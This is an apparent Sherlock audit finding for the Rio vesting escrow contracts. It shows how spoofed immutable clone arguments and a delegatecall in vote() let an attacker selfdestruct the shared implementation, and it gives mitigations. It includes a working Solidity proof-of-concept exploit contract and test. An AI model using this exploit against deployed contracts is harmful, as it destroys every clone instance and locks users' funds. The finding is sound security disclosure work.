VestingEscrow implementation can be destroyed bricking all deployed instances

Summary

The VestingEscrow implementation used to clone and deploy new instances from the factory can be destroyed by an attacker, rendering all instances unusable.

Vulnerability Detail

VestingEscrow instances are deployed using a pattern known as "clones with immutable arguments", provided by the LibClone library of the solady package. This is a standard clone (a proxy that points to an implementation instance) with the addition of a set of "immutable" arguments that are forwarded by the proxy by appending them to calldata.

The presence of this pattern, coupled with the delegatecall mechanics of the voting adapter, can be used by an attacker to effectively destroy the implementation contract used behind all proxies deployed from the factory.

The attack needs the execution of a delegatecall, let's focus on vote() as an example:

function vote(bytes calldata params) external onlyRecipient whenVotingAdaptorIsSet returns (bytes memory) {
    return _votingAdaptor().functionDelegateCall(abi.encodeCall(IVotingAdaptor.vote, (params)));
}

The implementation delegatecalls to the voting adaptor, which comes from the factory:

function _votingAdaptor() internal view returns (address) {
    return factory().votingAdaptor();
}

function factory() public pure returns (IVestingEscrowFactory) {
    return IVestingEscrowFactory(_getArgAddress(0));
}

Now the factory is an immutable argument, meaning we simply need to append the proper data to calldata to arbitrarily set its value.

The attacker can deploy a fake factory that returns a voting adapter that calls selfdestruct() when vote() is executed. Then the attacker calls vote() on the implementation passing the proper calldatata that mimics the required immutable arguments.

The attack destroys the logic contract behind all proxies, bricking all deployed escrow instances.

See proof of concept below for a detailed walkthrough of the issue.

Impact

The impact of this issue is critical.

All deployed instances will be bricked and all funds will be lost.

Proof of Concept

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.23;

import {TestUtil} from 'test/lib/TestUtil.sol';
import {ERC20Token} from 'test/lib/ERC20Token.sol';
import {VestingEscrow} from 'src/VestingEscrow.sol';
import {console2 as console} from 'forge-std/Test.sol';

contract Destructor {
    function vote(bytes calldata) external {
        selfdestruct(payable(tx.origin));
    }

    function votingAdaptor() external returns (address) {
        return address(this);
    }
}

contract SherlockTest is TestUtil {
    address owner;
    address manager;

    address attacker;

    function setUp() public {
        owner = makeAddr("owner");
        manager = makeAddr("manager");
        attacker = makeAddr("attacker");

        setUpProtocol(ProtocolConfig({owner: owner, manager: manager}));
    }

    function test_DestroyImplementation() public {
        // Fetch implementation
        address implementation = factory.vestingEscrowImpl();

        // Destructor will selfdestruct when vote() is called
        Destructor destructor = new Destructor();

        // Calldata layout is:
        // selector 4 bytes
        // params 32 bytes
        // injected factory 20 bytes
        // injected token 20 bytes
        // injected recipient 20 bytes
        // offset to immutable args 2 bytes

        // 3 addresses and 2 bytes for the offset itself
        uint16 offset = 20 + 20 + 20 + 2;

        bytes memory data = abi.encodePacked(
            VestingEscrow.vote.selector,
            bytes32(0), // params
            address(destructor), // factory
            address(0), // token
            attacker, // recipient
            offset
        );

        vm.prank(attacker);
        (bool s, ) = implementation.call(data);
        require(s);
    }
}

Code Snippet

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L154-L156

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L161-L163

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L268-L270

Tool used

Manual Review

Recommendation

The issue can be mitigated by switching to the classic clone pattern, removing immutable arguments, and ensuring the implementation contract cannot be initialized (for example, using _disableInitializers() in the OZ framework).

As an alternative, if the intention is to keep the immutable arguments pattern, a onlyDelegateCall modifier (see below) can be added to the functions that execute a delegatecall (vote(), voteWithReason(), _delegate()) to prevent these functions from being directly called on the implementation contract.

contract VestingEscrow is IVestingEscrow, Clone {
    address public immutable IMPLEMENTATION;

    constructor() {
        IMPLEMENTATION = address(this);
    }

    modifier onlyDelegateCall() virtual {
      require(address(this) != IMPLEMENTATION, "Only delegatecall");
        _;
    }

    ...
}

Duplicate of #60

sherlock-audit / 2024-01-rio-vesting-escrow-judging

fugazzi - VestingEscrow implementation can be destroyed bricking all deployed instances #59